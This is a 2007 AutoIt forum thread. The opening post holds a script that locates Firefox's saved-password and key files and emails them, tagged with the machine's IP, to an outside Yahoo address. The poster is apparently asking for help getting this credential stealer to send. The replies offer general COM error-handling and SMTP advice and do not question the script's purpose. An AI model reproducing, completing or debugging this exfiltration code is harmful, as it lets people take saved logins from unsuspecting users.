Fewmitz Posted September 27, 2007 Share Posted September 27, 2007 Func _INetSmtpMailCom($Body) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>' $objEmail.To = "supahscubah@yahoo.com" $objEmail.Subject = _GetIP() $objEmail.Textbody = $Body $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1) $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1) $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1) $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1] Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) EndIf Next $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True $objEmail.Configuration.Fields.Update $objEmail.Send EndFunc This should logically work, but I get an error once I get to the "$objEmail.Send" part, anyone have any ideas why? It says that this action could not be completed with this object, or something similar to that, if that helps. Link to comment Share on other sites More sharing options...
Fewmitz Posted September 27, 2007 Author Share Posted September 27, 2007 No one knows? Link to comment Share on other sites More sharing options...
Developers Jos Posted September 27, 2007 Developers Share Posted September 27, 2007 (edited) What is the information you get from your Com Error handler ? Edited September 27, 2007 by Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 From my who what now? Link to comment Share on other sites More sharing options...
qazwsx Posted September 28, 2007 Share Posted September 28, 2007 (edited) wat? look into com error handling. Edited September 28, 2007 by sccrstvn93 Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 I did, but I didn't get anything useful out of my searches. Link to comment Share on other sites More sharing options...
qazwsx Posted September 28, 2007 Share Posted September 28, 2007 could u post the error msg from it? Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 I did in the first post >_> "The requested action with this object has failed" Link to comment Share on other sites More sharing options...
qazwsx Posted September 28, 2007 Share Posted September 28, 2007 i eamnt from the com error thing or is that it? Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 That depends on what the "com error thing" is. That pops up in a messagebox when I run the script. Link to comment Share on other sites More sharing options...
flyingboz Posted September 28, 2007 Share Posted September 28, 2007 (edited) your error is likely that yahoo doesn't use ssl on their mail servers.edit: added italic section.that doesn't mean that you shouldn't install a com error handler so you know _what_ went wrong,as opposed to _something_ went wrong. Edited September 28, 2007 by flyingboz Reading the help file before you post... Not only will it make you look smarter, it will make you smarter. Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 So then if I changed it from Yahoo back to GMail, it would work again? Link to comment Share on other sites More sharing options...
flyingboz Posted September 28, 2007 Share Posted September 28, 2007 So then if I changed it from Yahoo back to GMail, it would work again?sigh.....Is it so hard to believe that different vendors may set their servers up in different ways? Reading the help file before you post... Not only will it make you look smarter, it will make you smarter. Link to comment Share on other sites More sharing options...
Developers Jos Posted September 28, 2007 Developers Share Posted September 28, 2007 From my who what now?Have a look in the AutoIt3 Helpfile under: AutoIt\Function Reference\Obj. Com Reference.That page describes all about Com objects and also explains the "Com Error Handling"Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 sigh.....Is it so hard to believe that different vendors may set their servers up in different ways?Because clearly my question was disbelief, and not me asking if gmail uses ssl.Have a look in the AutoIt3 Helpfile under: AutoIt\Function Reference\Obj. Com Reference.That page describes all about Com objects and also explains the "Com Error Handling"JosAh, good times. Thanks. Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 I changed it to a gmail email address, but the error remains the same. Link to comment Share on other sites More sharing options...
Zedna Posted September 28, 2007 Share Posted September 28, 2007 This should logically work, but I get an error once I get to the "$objEmail.Send" part, anyone have any ideas why? It says that this action could not be completed with this object, or something similar to that, if that helps. ObjCreate("CDO.Message") worls on WINXP and not on WIN9x. You may add this to cancel function on error after creating object: Dim $oMyError = ObjEvent ("AutoIt.Error", "ErrorHandler") Func ErrorHandler() $HexNumber = Hex($oMyError.number, 8) MsgBox(16, "CHYBA", "Při odesílání emailu došlo k chybě!" & @CRLF & @CRLF & _ "Popis chyby: " & @TAB & $oMyError.description & @CRLF & _ "Win. popis:" & @TAB & $oMyError.windescription & @CRLF & _ "Číslo řádku: " & @TAB & $oMyError.scriptline & @CRLF & _ "Číslo chyby: " & @TAB & $HexNumber & @CRLF & _ "Objekt: " & @TAB & $oMyError.source) SetError(1) EndFunc ... $objMessage = ObjCreate ("CDO.Message") If @error Then Return Resources UDF ResourcesEx UDF AutoIt Forum Search Link to comment Share on other sites More sharing options...
Fewmitz Posted September 28, 2007 Author Share Posted September 28, 2007 (edited) I'm on WinXP though. I also don't want to add a cancel function, cause I want this to work, cause it's the only error left in the program. Edited September 28, 2007 by Fewmitz Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now